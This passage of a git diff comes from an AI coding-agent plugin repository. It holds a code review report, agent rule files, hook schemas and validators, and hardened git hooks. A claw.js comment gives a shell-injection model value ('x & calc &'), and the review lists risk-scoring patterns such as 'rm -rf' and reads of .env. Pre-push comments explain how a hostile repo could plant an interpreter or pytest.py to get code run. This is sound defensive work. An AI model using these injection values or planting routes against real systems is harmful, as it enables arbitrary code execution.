| Output capture persistence/events | -| `session/store.rs` | 3 | Buffer window, migration, state transitions | -| `tui/dashboard.rs` | 8 | Rendering, selection, pane navigation, scrolling | -| `tui/widgets.rs` | 3 | Token meter rendering and thresholds | - -**Direct coverage gaps:** -- `comms/mod.rs` — 0 tests -- `worktree/mod.rs` — 0 tests - -The core I/O-heavy paths are no longer completely untested: `manager.rs`, `runtime.rs`, and `daemon.rs` each have targeted tests. The remaining gap is breadth rather than total absence, especially around `comms/`, `worktree/`, and more adversarial process/worktree failure cases. - -## 5. Security Observations - -- **No secrets in code.** Config reads from TOML file, no hardcoded credentials. -- **Process spawning** uses `tokio::process::Command` with explicit `Stdio::piped()` — no shell injection vectors. -- **Risk scoring** is a strong feature — catches `rm -rf`, `git push --force origin main`, file access to `.env`/secrets. -- **No input sanitization on session task strings.** The task string is passed directly to `claude --print`. If the task contains shell metacharacters, it could be exploited depending on how `Command` handles argument quoting. Currently safe (arguments are not shell-interpreted), but worth auditing. - -## 6. Dependency Health - -| Crate | Version | Latest | Notes | -|-------|---------|--------|-------| -| ratatui | 0.29 | **0.30.0** | Update available | -| crossterm | 0.28 | **0.29.0** | Update available | -| rusqlite | 0.32 | **0.39.0** | Update available | -| tokio | 1 | **1.50.0** | Update available | -| serde | 1 | **1.0.228** | Update available | -| clap | 4 | **4.6.0** | Update available | -| chrono | 0.4 | **0.4.44** | Update available | -| uuid | 1 | **1.22.0** | Update available | - -`git2` is still present in `Cargo.toml` even though the `worktree` module shells out to the `git` CLI. Several other dependencies are outdated; either remove `git2` or start using it before the next release. - -## 7. Recommendations (Prioritized) - -### P0 — Quick Wins - -1. **Add environment variable support to `Config::load()`** — `ECC_DB_PATH`, `ECC_WORKTREE_ROOT`, `ECC_DEFAULT_AGENT`. Standard practice for CLI tools. - -### P1 — Feature Completions - -2. **Implement `comms::receive()` / `comms::poll()`** — read unread messages from the `messages` table, optionally with a `broadcast` channel for real-time delivery. Wire it into the dashboard. -3. **Build the new-session dialog in the TUI** — modal form with task input, agent selector, worktree toggle. Should call `session::manager::create_session()`. -4. **Add aggregate metrics** — total cost, average session duration, tool call frequency, cost per session. Show in the Metrics pane. - -### P2 — Robustness - -5. **Expand integration coverage for `manager.rs`, `runtime.rs`, and `daemon.rs`** — the repo now has baseline tests here, but it still needs failure-path coverage around process crashes, timeouts, and cleanup edge cases. -6. **Add first-party tests for `worktree/mod.rs` and `comms/mod.rs`** — these are still uncovered and back important orchestration features. -7. **Add daemon health reporting** — PID file, structured logging, graceful shutdown via signal handler. -8. **Task string security audit** — The session task uses `claude --print` via `tokio::process::Command`. Verify arguments are never shell-interpreted. Checklist: confirm `Command` arg usage, threat-model metacharacter injection, input validation/escaping strategy, logging of raw inputs, and automated tests. Re-audit if invocation code changes. -9. **Break up `dashboard.rs`** — extract SessionsPane, OutputPane, MetricsPane, LogPane into separate files under `tui/panes/`. - -### P3 — Extensibility - -10. **Multi-agent support** — make `agent_program()` pluggable. Add `codex`, `opencode`, `custom` agent types. -11. **Config validation** — validate risk thresholds sum correctly, budget values are positive, paths exist. - -## 8. Comparison with Ratatui 0.29 Best Practices - -The codebase follows ratatui conventions well: -- Uses `TableState` for stateful selection (correct pattern) -- Custom `Widget` trait implementation for `TokenMeter` (idiomatic) -- `tick()` method for periodic state sync (standard) -- `broadcast::channel` for real-time output events (appropriate) - -**Minor deviations:** -- The `Dashboard` struct directly holds `StateStore` (SQLite connection). Ratatui best practice is to keep the state store behind an `Arc>` to allow background updates. Currently the TUI owns the DB exclusively, which blocks adding a background metrics refresh task. -- No `Clear` widget usage when rendering the help overlay — could cause rendering artifacts on some terminals. - -## 9. Risk Assessment - -| Risk | Likelihood | Impact | Mitigation | -|------|-----------|--------|------------| -| Dashboard file exceeds 1500 lines (projected) | High | Medium | At 1,273 lines currently (Section 2); extract panes into modules before it grows further | -| SQLite lock contention | Low | High | DbWriter pattern already handles this | -| No agent diversity | Medium | Medium | Pluggable agent support | -| Task-string handling assumptions drift over time | Medium | Medium | Keep `Command` argument handling shell-free, document the threat model, and add regression tests for metacharacter-heavy task input | - ---- - -**Bottom line:** ECC2 is a well-structured Rust project with clean error handling, good separation of concerns, and strong security features (risk scoring). The main gaps are incomplete features (comms, new-session dialog, single agent) rather than architectural problems. The codebase is ready for feature work on top of the solid foundation. diff --git a/rules/common/agents.md b/rules/common/agents.md index 4d1dfb4cb..14d9b9005 100644 --- a/rules/common/agents.md +++ b/rules/common/agents.md @@ -2,29 +2,36 @@ ## Available Agents -Located in `~/.claude/agents/`: +ECC agents ship with the `ecc@ecc` plugin, not in `~/.claude/agents/`. +They are invoked through the Agent tool with a plugin-scoped `subagent_type`: + +```text +Agent(subagent_type: "ecc:planner", prompt: "...") +``` | Agent | Purpose | When to Use | |-------|---------|-------------| -| planner | Implementation planning | Complex features, refactoring | -| architect | System design | Architectural decisions | -| tdd-guide | Test-driven development | New features, bug fixes | -| code-reviewer | Code review | After writing code | -| security-reviewer | Security analysis | Before commits | -| build-error-resolver | Fix build errors | When build fails | -| e2e-runner | E2E testing | Critical user flows | -| refactor-cleaner | Dead code cleanup | Code maintenance | -| doc-updater | Documentation | Updating docs | -| rust-reviewer | Rust code review | Rust projects | -| harmonyos-app-resolver | HarmonyOS app development | HarmonyOS/ArkTS projects | +| ecc:planner | Implementation planning | Complex features, refactoring | +| ecc:architect | System design | Architectural decisions | +| ecc:tdd-guide | Test-driven development | New features, bug fixes | +| ecc:code-reviewer | Code review | After writing code | +| ecc:security-reviewer | Security analysis | Before commits | +| ecc:build-error-resolver | Fix build errors | When build fails | +| ecc:e2e-runner | E2E testing | Critical user flows | +| ecc:refactor-cleaner | Dead code cleanup | Code maintenance | +| ecc:doc-updater | Documentation | Updating docs | +| ecc:rust-reviewer | Rust code review | Rust projects | +| ecc:harmonyos-app-resolver | HarmonyOS app development | HarmonyOS/ArkTS projects | + +For the full roster of 68 agents, see `/ecc:ecc-guide`. ## Immediate Agent Usage No user prompt needed: -1. Complex feature requests - Use **planner** agent -2. Code just written/modified - Use **code-reviewer** agent -3. Bug fix or new feature - Use **tdd-guide** agent -4. Architectural decision - Use **architect** agent +1. Complex feature requests - Use **ecc:planner** agent +2. Code just written/modified - Use **ecc:code-reviewer** agent +3. Bug fix or new feature - Use **ecc:tdd-guide** agent +4. Architectural decision - Use **ecc:architect** agent ## Parallel Task Execution diff --git a/rules/common/coding-style.md b/rules/common/coding-style.md index 9ab495508..2f5d1c066 100644 --- a/rules/common/coding-style.md +++ b/rules/common/coding-style.md @@ -59,11 +59,17 @@ ALWAYS validate at system boundaries: ## Naming Conventions -- Variables and functions: `camelCase` with descriptive names -- Booleans: prefer `is`, `has`, `should`, or `can` prefixes -- Interfaces, types, and components: `PascalCase` -- Constants: `UPPER_SNAKE_CASE` -- Custom hooks: `camelCase` with a `use` prefix +> **Language note**: This rule may be overridden by language-specific rules for +> languages where a pattern is not idiomatic. Casing and framework-specific +> prefixes belong to the applicable language or package rule. + +Language-independent: + +- Descriptive names: the name says what the thing holds or does, without a comment. +- Boolean names read clearly as claims under the applicable language or package + convention. +- Where the language draws the distinction, constants and types are visually + distinct from ordinary values in the form its language or package rule defines. ## Code Smells to Avoid diff --git a/schemas/capsule-envelope.schema.json b/schemas/capsule-envelope.schema.json new file mode 100644 index 000000000..7ea306242 --- /dev/null +++ b/schemas/capsule-envelope.schema.json @@ -0,0 +1,79 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$id": "https://ecc.tools/schemas/capsule-envelope.schema.json", + "title": "Capsule Envelope v1", + "description": "One append-only journal entry recorded by the ECC eval-harness capsule. Mirrors scripts/lib/eval-harness/envelope.js, which is the enforcing implementation.", + "type": "object", + "additionalProperties": false, + "required": [ + "schema", + "run_id", + "capsule_id", + "seq", + "ts", + "lineage", + "kind", + "effect_class", + "harness_version", + "task_family", + "parent_hash", + "entry_hash", + "payload" + ], + "properties": { + "schema": { "const": "capsule-envelope/v1" }, + "run_id": { "type": "string", "pattern": "^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$" }, + "capsule_id": { "type": "string", "pattern": "^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$" }, + "seq": { "type": "integer", "minimum": 0, "description": "Zero-based position in the journal. Must equal the line index." }, + "ts": { "type": "string", "format": "date-time" }, + "lineage": { "type": "string", "enum": ["plan", "attempt", "interaction", "environment", "strategy"] }, + "kind": { "type": "string", "pattern": "^[a-z][a-z0-9_.-]{0,63}$" }, + "effect_class": { + "type": "string", + "enum": ["SE0", "SE1", "SE2", "SE3", "SE4"], + "description": "SE0 read-only; SE1 reversible local write in the capsule root; SE2 sandboxed mutation, no live network writes; SE3 append-only remote evidence; SE4 economic or external effect." + }, + "harness_version": { "type": "string", "minLength": 1 }, + "task_family": { "type": "string", "minLength": 1 }, + "parent_hash": { "type": "string", "pattern": "^[0-9a-f]{64}$", "description": "entry_hash of the previous entry, or 64 zeros for the first entry." }, + "entry_hash": { "type": "string", "pattern": "^[0-9a-f]{64}$", "description": "sha256 of the canonical JSON of this entry with entry_hash removed." }, + "payload": { + "type": "object", + "description": "Default-deny allowlisted properties only. No secrets, credentials, or raw reasoning text.", + "additionalProperties": false, + "properties": { + "task_id": { "type": "string" }, + "task_family": { "type": "string" }, + "tool": { "type": "string" }, + "tool_call_id": { "type": "string" }, + "args_hash": { "type": "string" }, + "response_hash": { "type": "string" }, + "status": { "type": "string" }, + "exit_code": { "type": ["integer", "null"] }, + "duration_ms": { "type": "number" }, + "tokens_in": { "type": "integer" }, + "tokens_out": { "type": "integer" }, + "cost_usd": { "type": "number" }, + "model": { "type": "string" }, + "message": { "type": "string" }, + "note": { "type": "string" }, + "decision": { "type": "string" }, + "reason": { "type": "string" }, + "score": { "type": "number" }, + "passed": { "type": "integer" }, + "failed": { "type": "integer" }, + "total": { "type": "integer" }, + "variant": { "type": "string" }, + "digest": { "type": "string" }, + "path": { "type": "string" }, + "fixture_key": { "type": "string" }, + "stage": { "type": "string" }, + "verdict": { "type": "string" }, + "hits": { "type": "integer" }, + "branch_id": { "type": "string" }, + "parent_branch_id": { "type": "string" }, + "summary": { "type": "string" } + } + } + } +} diff --git a/schemas/hooks-metadata.schema.json b/schemas/hooks-metadata.schema.json new file mode 100644 index 000000000..7cae9d4a4 --- /dev/null +++ b/schemas/hooks-metadata.schema.json @@ -0,0 +1,67 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "title": "ECC Hooks Metadata", + "description": "Stable ids and human-readable descriptions for the matcher entries in hooks/hooks.json. Kept in a sidecar because Claude Code reports any key outside its own hooks schema as an unknown key when the plugin loads.", + "type": "object", + "required": [ + "entries" + ], + "properties": { + "$schema": { + "type": "string" + }, + "entries": { + "type": "object", + "description": "Event name to an array aligned by index with the same event's entries in hooks.json.", + "propertyNames": { + "enum": [ + "SessionStart", + "UserPromptSubmit", + "PreToolUse", + "PermissionRequest", + "PostToolUse", + "PostToolUseFailure", + "Notification", + "SubagentStart", + "Stop", + "SubagentStop", + "PreCompact", + "InstructionsLoaded", + "TeammateIdle", + "TaskCompleted", + "ConfigChange", + "WorktreeCreate", + "WorktreeRemove", + "SessionEnd" + ] + }, + "additionalProperties": { + "type": "array", + "items": { + "type": "object", + "required": [ + "id", + "fingerprint" + ], + "properties": { + "id": { + "type": "string", + "pattern": "\\S", + "description": "Stable, globally unique identifier for the matcher entry at this index." + }, + "description": { + "type": "string" + }, + "fingerprint": { + "type": "string", + "pattern": "^[0-9a-f]{12}$", + "description": "First 12 hex characters of the SHA-256 of the matcher entry (matcher + hooks, keys sorted) at this index in hooks.json. Binds the sidecar entry to a specific matcher so a reorder is detected. Regenerate with `node scripts/ci/validate-hooks.js --update-fingerprints`." + } + }, + "additionalProperties": false + } + } + } + }, + "additionalProperties": false +} diff --git a/scripts/ci/check-hooks-schema-keys.js b/scripts/ci/check-hooks-schema-keys.js new file mode 100755 index 000000000..2b6f3f66d --- /dev/null +++ b/scripts/ci/check-hooks-schema-keys.js @@ -0,0 +1,139 @@ +#!/usr/bin/env node +/** + * Fail when a shipped hooks config carries keys outside its loader's + * documented set. + * + * Claude Code validates a plugin's hooks.json against its own schema at load + * time and prints "unknown keys ... ignored" for anything else (issues #3138 + * and #3114). The documented set for Claude Code is: + * root: hooks + * group: matcher, hooks + * handler: the keys defined by schemas/hooks.schema.json hook item types + * plus statusMessage (recognized by the loader, absent from the + * local schema). + * Stable ids and descriptions for Claude hooks live in hooks.metadata.json, + * merged back by scripts/lib/hooks-config.js, so hooks.json must not carry + * them. + * + * hooks/codex-hooks.json is checked against the Codex loader's documented + * set, which tests/plugin-manifest.test.js pins as: + * root: description, hooks (Codex accepts description, rejects $schema) + * group: matcher, hooks, id, description (id pinned for traceability) + * handler: type, command, timeout (Codex executes command handlers only) + */ + +const fs = require('fs'); +const path = require('path'); + +const HOOKS_FILE = path.join(__dirname, '../../hooks/hooks.json'); +const CODEX_HOOKS_FILE = path.join(__dirname, '../../hooks/codex-hooks.json'); + +const LOADER_KEY_SETS = [ + { + label: 'Claude Code', + file: HOOKS_FILE, + rootKeys: ['hooks'], + groupKeys: ['matcher', 'hooks'], + handlerKeys: [ + 'type', 'command', 'timeout', 'statusMessage', 'async', + 'url', 'headers', 'allowedEnvVars', 'prompt', 'model', + ], + }, + { + label: 'Codex', + file: CODEX_HOOKS_FILE, + rootKeys: ['description', 'hooks'], + groupKeys: ['matcher', 'hooks', 'id', 'description'], + handlerKeys: ['type', 'command', 'timeout'], + }, +]; + +/** + * Collect every key outside the documented set for one parsed hooks config. + * + * @param {object} data - Parsed hooks config. + * @param {object} keySet - Entry from LOADER_KEY_SETS. + * @returns {string[]} human-readable findings + */ +function findUnknownKeys(data, keySet) { + const findings = []; + const fileLabel = path.basename(keySet.file); + + for (const key of Object.keys(data)) { + if (!keySet.rootKeys.includes(key)) { + findings.push(`${fileLabel}: root key "${key}" is not in the ${keySet.label} documented set`); + } + } + + const events = data.hooks && typeof data.hooks === 'object' && !Array.isArray(data.hooks) + ? data.hooks + : {}; + for (const [eventType, groups] of Object.entries(events)) { + if (!Array.isArray(groups)) continue; + groups.forEach((group, groupIndex) => { + if (!group || typeof group !== 'object' || Array.isArray(group)) return; + for (const key of Object.keys(group)) { + if (!keySet.groupKeys.includes(key)) { + findings.push( + `${fileLabel}: ${eventType}[${groupIndex}] key "${key}" is not in the ${keySet.label} documented set` + ); + } + } + if (!Array.isArray(group.hooks)) return; + group.hooks.forEach((handler, handlerIndex) => { + if (!handler || typeof handler !== 'object' || Array.isArray(handler)) return; + for (const key of Object.keys(handler)) { + if (!keySet.handlerKeys.includes(key)) { + findings.push( + `${fileLabel}: ${eventType}[${groupIndex}].hooks[${handlerIndex}] key "${key}" ` + + `is not in the ${keySet.label} documented set` + ); + } + } + }); + }); + } + + return findings; +} + +function checkHooksSchemaKeys() { + const findings = []; + let checked = 0; + + for (const keySet of LOADER_KEY_SETS) { + if (!fs.existsSync(keySet.file)) { + console.log(`No ${path.basename(keySet.file)} found, skipping ${keySet.label} key check`); + continue; + } + let data; + try { + data = JSON.parse(fs.readFileSync(keySet.file, 'utf-8')); + } catch (e) { + console.error(`ERROR: Invalid JSON in ${keySet.file}: ${e.message}`); + findings.push('invalid JSON'); + continue; + } + if (!data || typeof data !== 'object' || Array.isArray(data)) { + console.error(`ERROR: ${keySet.file} must contain a JSON object`); + findings.push('not an object'); + continue; + } + checked += 1; + findings.push(...findUnknownKeys(data, keySet)); + } + + if (findings.length > 0) { + for (const finding of findings) { + if (!finding.startsWith('invalid') && finding !== 'not an object') { + console.error(`ERROR: ${finding}`); + } + } + console.error(`\n${findings.length} key(s) outside the documented loader set`); + process.exit(1); + } + + console.log(`Checked ${checked} hooks config(s): all keys within the documented loader sets`); +} + +checkHooksSchemaKeys(); diff --git a/scripts/ci/validate-hooks.js b/scripts/ci/validate-hooks.js index d59807f1d..2156b07dd 100644 --- a/scripts/ci/validate-hooks.js +++ b/scripts/ci/validate-hooks.js @@ -8,8 +8,49 @@ const path = require('path'); const vm = require('vm'); const Ajv = require('ajv'); +/** + * Resolve a module by its repo-relative path. + * + * Test harnesses copy this validator to the repo root before running it, so a + * plain relative require would break. Walk up from __dirname until the module + * is found instead. + * + * @param {string} repoRelativePath - e.g. 'scripts/lib/hooks-config.js' + * @returns {string} absolute path to the module + */ +function resolveRepoModule(repoRelativePath) { + let dir = __dirname; + for (;;) { + const candidate = path.join(dir, repoRelativePath); + if (fs.existsSync(candidate)) { + return candidate; + } + const parent = path.dirname(dir); + if (parent === dir) { + throw new Error(`Cannot locate ${repoRelativePath} above ${__dirname}`); + } + dir = parent; + } +} + +const { + METADATA_FILENAME, + applyHooksMetadata, + findMetadataMismatches, + metadataPathFor, + withRefreshedFingerprints, +} = require(resolveRepoModule('scripts/lib/hooks-config.js')); + const HOOKS_FILE = path.join(__dirname, '../../hooks/hooks.json'); const HOOKS_SCHEMA_PATH = path.join(__dirname, '../../schemas/hooks.schema.json'); +const METADATA_SCHEMA_PATH = path.join(__dirname, '../../schemas/hooks-metadata.schema.json'); +// `--update-fingerprints` rewrites the sidecar's fingerprints from the current +// hooks.json instead of validating. Run it after changing a hook command. +const UPDATE_FINGERPRINTS = process.argv.includes('--update-fingerprints'); +// Keys Claude Code's own hooks schema rejects. Keeping them out of hooks.json is +// what stops "unknown keys ... ignored" warnings when the plugin loads. +const HARNESS_UNKNOWN_ROOT_KEYS = ['$schema']; +const HARNESS_UNKNOWN_MATCHER_KEYS = ['id', 'description']; const VALID_EVENTS = [ 'SessionStart', 'UserPromptSubmit', @@ -124,6 +165,78 @@ function validateHookEntry(hook, label) { return hasErrors; } +/** + * Reject keys the Claude Code harness does not understand. + * + * Claude Code validates a plugin's hooks.json against its own schema and prints + * every unrecognised key at load time. Once a hooks.metadata.json sidecar is + * present it owns the stable ids and descriptions, so hooks.json must not + * carry them as well. + * + * @param {object} data - Parsed hooks.json. + * @returns {boolean} true if errors were found + */ +function validateHarnessCompatibility(data) { + if (!data || typeof data !== 'object' || Array.isArray(data)) { + return false; + } + + let hasErrors = false; + for (const key of HARNESS_UNKNOWN_ROOT_KEYS) { + if (key in data) { + console.error( + `ERROR: hooks.json must not define "${key}" - Claude Code reports it as an unknown key` + ); + hasErrors = true; + } + } + + const events = data.hooks && typeof data.hooks === 'object' && !Array.isArray(data.hooks) + ? data.hooks + : {}; + for (const [eventType, matchers] of Object.entries(events)) { + if (!Array.isArray(matchers)) continue; + matchers.forEach((matcher, index) => { + if (!matcher || typeof matcher !== 'object') return; + for (const key of HARNESS_UNKNOWN_MATCHER_KEYS) { + if (key in matcher) { + console.error( + `ERROR: hooks.json ${eventType}[${index}] must not define "${key}" - ` + + `move it to ${METADATA_FILENAME}` + ); + hasErrors = true; + } + } + }); + } + + return hasErrors; +} + +/** + * Validate a parsed document against a JSON schema file, if the schema exists. + * + * @param {object} document - Parsed JSON to validate. + * @param {string} schemaPath - Path to the schema; skipped when absent. + * @param {string} label - Name used in error output. + * @returns {boolean} true if errors were found + */ +function validateAgainstSchema(document, schemaPath, label) { + if (!fs.existsSync(schemaPath)) { + return false; + } + const schema = JSON.parse(fs.readFileSync(schemaPath, 'utf-8')); + const ajv = new Ajv({ allErrors: true }); + const validate = ajv.compile(schema); + if (validate(document)) { + return false; + } + for (const err of validate.errors) { + console.error(`ERROR: ${label} schema: ${err.instancePath || '/'} ${err.message}`); + } + return true; +} + function validateHooks() { if (!fs.existsSync(HOOKS_FILE)) { console.log('No hooks.json found, skipping validation'); @@ -138,18 +251,51 @@ function validateHooks() { process.exit(1); } - // Validate against JSON schema - if (fs.existsSync(HOOKS_SCHEMA_PATH)) { - const schema = JSON.parse(fs.readFileSync(HOOKS_SCHEMA_PATH, 'utf-8')); - const ajv = new Ajv({ allErrors: true }); - const validate = ajv.compile(schema); - const valid = validate(data); - if (!valid) { - for (const err of validate.errors) { - console.error(`ERROR: hooks.json schema: ${err.instancePath || '/'} ${err.message}`); + // Without a sidecar, hooks.json keeps its legacy inline ids. With one, the + // sidecar is the sole owner of id/description and hooks.json must stay + // within Claude Code's schema. + let metadata = null; + const metadataPath = metadataPathFor(HOOKS_FILE); + if (fs.existsSync(metadataPath)) { + try { + metadata = JSON.parse(fs.readFileSync(metadataPath, 'utf-8')); + } catch (e) { + console.error(`ERROR: Invalid JSON in ${METADATA_FILENAME}: ${e.message}`); + process.exit(1); + } + + if (validateHarnessCompatibility(data)) { + process.exit(1); + } + + if (UPDATE_FINGERPRINTS) { + try { + metadata = withRefreshedFingerprints(data, metadata); + } catch (error) { + console.error(`ERROR: ${error.message}`); + process.exit(1); + } + } + + if (validateAgainstSchema(metadata, METADATA_SCHEMA_PATH, METADATA_FILENAME)) { + process.exit(1); + } + + const mismatches = findMetadataMismatches(data, metadata); + if (mismatches.length > 0) { + for (const mismatch of mismatches) { + console.error(`ERROR: ${mismatch}`); } process.exit(1); } + + // Validate the merged view so the id/description rules below still apply. + data = applyHooksMetadata(data, metadata); + } + + // Validate against JSON schema + if (validateAgainstSchema(data, HOOKS_SCHEMA_PATH, 'hooks.json')) { + process.exit(1); } // Support both object format { hooks: {...} } and array format @@ -254,6 +400,11 @@ function validateHooks() { process.exit(1); } + if (UPDATE_FINGERPRINTS && metadata) { + fs.writeFileSync(metadataPath, `${JSON.stringify(metadata, null, 2)}\n`); + console.log(`Updated fingerprints in ${METADATA_FILENAME}`); + } + console.log(`Validated ${totalMatchers} hook matchers`); } diff --git a/scripts/claw.js b/scripts/claw.js index 982ce5c22..74dea0f81 100644 --- a/scripts/claw.js +++ b/scripts/claw.js @@ -95,21 +95,54 @@ function askClaude(systemPrompt, history, userMessage, model) { } args.push('-p'); - // On Windows the `claude` binary installed via npm is `claude.cmd`/`claude.ps1`, - // and Node's spawn() cannot resolve those wrappers via PATH without shell: true. - // But shell mode concatenates args *unescaped*, so a multi-line prompt passed as - // an arg gets mangled (newlines and the `===` section markers truncate it, and - // claude receives an empty prompt). Fix: send the prompt over stdin via `input` - // and keep only the short, safe flags (`--model`, `-p`) as args. - // 'claude' is a hardcoded literal here (not user input), so shell mode is safe. - const result = spawnSync('claude', args, { + // SECURITY: a model value like `x & calc &` breaks out when Node + // concatenates command+args unquoted under cmd.exe (DEP0190), so the model + // token is validated and only fixed flags reach the command line. + if (model && !/^[A-Za-z0-9][A-Za-z0-9._:-]{0,63}$/.test(model)) { + return `[Error: invalid model name]`; + } + // On Windows the `claude` binary is usually a .cmd shim, which Node + // >=18.20/20.12 refuses to spawn directly (CVE-2024-27980 mitigation), and + // .ps1 shims are not directly executable at all. Resolve a natively + // executable target first; only .cmd/.bat go through cmd.exe, using the + // same quoted-command-line pattern as scripts/hooks/mcp-health-check.js so + // space-containing paths survive as single tokens. .ps1 is never executed + // directly — fall through to bare `claude` (pre-change behavior) instead. + // cmd.exe expands %NAME% even inside double-quoted strings, so reject + // percent-delimited executable paths rather than route them through the shell. + function quoteWinToken(token) { + if (/%/.test(token)) return null; + return /[\s"&|<>^();]/.test(token) ? '"' + token.replace(/"/g, '""') + '"' : token; + } + let bin = 'claude'; + let useShell = false; + if (process.platform === 'win32') { + const { spawnSync: spawnWhere } = require('child_process'); + for (const ext of ['.exe', '.cmd', '.bat']) { + let found = null; + try { + found = spawnWhere('where', [`claude${ext}`], { encoding: 'utf8' }); + } catch { /* ignore */ } + if (found && found.status === 0 && found.stdout && found.stdout.trim()) { + bin = found.stdout.trim().split(/\r?\n/)[0]; + useShell = /\.(cmd|bat)$/i.test(bin); + break; + } + } + if (useShell && quoteWinToken(bin) === null) { + useShell = false; + } + } + const spawnOpts = { input: fullPrompt, encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'], env: { ...process.env, CLAUDECODE: '' }, timeout: 300000, - shell: process.platform === 'win32' - }); + }; + const result = useShell + ? spawnSync([bin, ...args].map(quoteWinToken).join(' '), { ...spawnOpts, shell: true }) + : spawnSync(bin, args, { ...spawnOpts, shell: false }); if (result.error) { return `[Error: ${result.error.message}]`; diff --git a/scripts/codex-git-hooks/pre-commit b/scripts/codex-git-hooks/pre-commit index 98c495fef..b4c608c76 100644 --- a/scripts/codex-git-hooks/pre-commit +++ b/scripts/codex-git-hooks/pre-commit @@ -5,12 +5,13 @@ set -euo pipefail # Blocks commits that add high-signal secrets. if [[ "${ECC_SKIP_GIT_HOOKS:-0}" == "1" || "${ECC_SKIP_PRECOMMIT:-0}" == "1" ]]; then + printf '[ECC pre-commit] WARNING: hook bypassed via env (ECC_SKIP_*=1)\n' >&2 exit 0 fi -if [[ -f ".ecc-hooks-disable" || -f ".git/ecc-hooks-disable" ]]; then - exit 0 -fi +# NOTE: file-based disables (.ecc-hooks-disable) were removed — a malicious +# repo could ship that file and silently turn off secret scanning exactly +# where it is most needed. Use the env bypass above (audible warning) instead. if ! git rev-parse --is-inside-work-tree >/dev/null 2>&1; then exit 0 diff --git a/scripts/codex-git-hooks/pre-push b/scripts/codex-git-hooks/pre-push index 2ee23c7f4..10fdd4f4d 100755 --- a/scripts/codex-git-hooks/pre-push +++ b/scripts/codex-git-hooks/pre-push @@ -5,12 +5,12 @@ set -euo pipefail # Runs a lightweight verification flow before pushes. if [[ "${ECC_SKIP_GIT_HOOKS:-0}" == "1" || "${ECC_SKIP_PREPUSH:-0}" == "1" ]]; then + printf '[ECC pre-push] WARNING: hook bypassed via env (ECC_SKIP_*=1)\n' >&2 exit 0 fi -if [[ -f ".ecc-hooks-disable" || -f ".git/ecc-hooks-disable" ]]; then - exit 0 -fi +# NOTE: file-based disables (.ecc-hooks-disable) were removed — a malicious +# repo could ship that file and silently disable verification. if ! git rev-parse --is-inside-work-tree >/dev/null 2>&1; then exit 0 @@ -85,8 +85,14 @@ run_node_script() { } if [[ -f "package.json" ]]; then - pm="$(detect_pm)" - log "Node project detected (package manager: $pm)" + # SECURITY: executing a cloned repo's lint/test/build scripts on push is + # arbitrary code execution (package.json scripts run as you). Opt-in only: + # set ECC_PREPUSH_RUN_CHECKS=1 for repos you trust. + if [[ "${ECC_PREPUSH_RUN_CHECKS:-0}" != "1" ]]; then + printf '[ECC pre-push] Node project detected but ECC_PREPUSH_RUN_CHECKS!=1; skipping repo script execution (set =1 to opt in).\n' >&2 + else + pm="$(detect_pm)" + log "Node project detected (package manager: $pm)" for script_name in lint typecheck test build; do if has_node_script "$script_name"; then @@ -98,7 +104,9 @@ if [[ -f "package.json" ]]; then fi done + fi if [[ "${ECC_PREPUSH_AUDIT:-0}" == "1" ]]; then + pm="${pm:-$(detect_pm)}" ran_any_check=1 log "Running dependency audit (ECC_PREPUSH_AUDIT=1)" case "$pm" in @@ -111,21 +119,185 @@ if [[ -f "package.json" ]]; then fi fi +# SECURITY: go test / pytest execute repo-controlled code (TestMain, +# conftest.py). Same opt-in gate as Node scripts above. +if [[ "${ECC_PREPUSH_RUN_CHECKS:-0}" == "1" ]]; then if [[ -f "go.mod" ]] && command -v go >/dev/null 2>&1; then ran_any_check=1 log "Go project detected. Running: go test ./..." go test ./... || fail "go test failed" fi +# Resolve how this project runs pytest, into PYTEST_CMD as an argv array. +# +# Looking only for `pytest` on PATH meant the hook skipped every project that keeps +# its tools in a virtualenv -- which is most of them -- and reported "pytest is not +# installed" while sitting next to a .venv with pytest in it. A gate that silently +# declines to gate is worse than no gate, because the skip line reads like a pass. +# +# An array rather than one string, because a virtualenv path may contain spaces: +# a scalar command splits `/home/me/my env/bin/python` into two paths that do not +# exist, and the hook then rejects the push for a reason that has nothing to do +# with the code being pushed. +# +# Echoes the command it will run, so the reason for a skip is always visible. +PYTEST_CMD=() + +# Does this command actually run pytest? Accepting `--version` is not evidence -- +# plenty of programs take it and exit 0 -- so the output has to name pytest. The +# version is captured rather than piped: under `set -o pipefail` a `| grep -q` can +# report the SIGPIPE of the program it just matched. +# +# Only ever called on a command this script composed itself. Probing an arbitrary +# operator-supplied command is not safe: a wrapper that ignores `--version` and +# execs pytest runs the entire suite during the probe, and is then rejected for +# not having printed a version. +is_pytest() { + local version + version="$("$@" --version 2>&1)" || return 1 + grep -qiE 'pytest[[:space:]]+(version[[:space:]]+)?[0-9]' <<<"$version" +} + +# Does the repository itself ship this interpreter? +# +# A virtualenv is never committed -- it is platform-specific binaries, and every +# Python project gitignores it. One that IS tracked is the repository handing this +# hook an executable and asking it to run. The hook is installed globally, so +# cloning a hostile repository and pushing it to your own fork would be enough, +# and on a machine with no pytest on PATH this arm is the only thing that would +# run at all. A developer's own venv is untracked, so nothing legitimate is lost. +# +# The path is resolved through symlinks before git is asked, because `git ls-files` +# reports paths as indexed and does not follow links. A repository that commits +# `.venv` as a symlink to `.` next to a tracked `bin/python` would otherwise be +# queried for `.venv/bin/python`, a path git has never heard of, and the answer +# would be "untracked". Measured: that shape ran the planted binary twice. +repo_ships_interpreter() { + local bindir real top + bindir="$(cd -P -- "$1" 2>/dev/null && pwd -P)" || return 1 + [[ -n "$bindir" ]] || return 1 + real="$bindir/python" + top="$(git rev-parse --show-toplevel 2>/dev/null)" || return 1 + top="$(cd -P -- "$top" 2>/dev/null && pwd -P)" || return 1 + [[ -n "$top" && "$real" == "$top/"* ]] || return 1 + # `:(icase)` because git matches index pathspecs case-sensitively even where + # core.ignorecase is set, while the filesystem underneath does not. On macOS's + # APFS -- the platform this hook most often runs on -- a committed + # `.venv/bin/Python` is what `$venv/bin/python` opens and executes, but a + # case-sensitive query for the lowercase name finds nothing in the index and the + # guard waves it through. Measured: that spelling ran the planted binary twice. + git ls-files --error-unmatch -- ":(icase)${real#"$top"/}" >/dev/null 2>&1 +} + +# `-I` isolates the probe: without it Python puts the working directory first on +# sys.path, so a repository that commits a `pytest.py` in its root gets that file +# imported -- and executed -- by a check whose only job is to answer whether pytest +# exists. 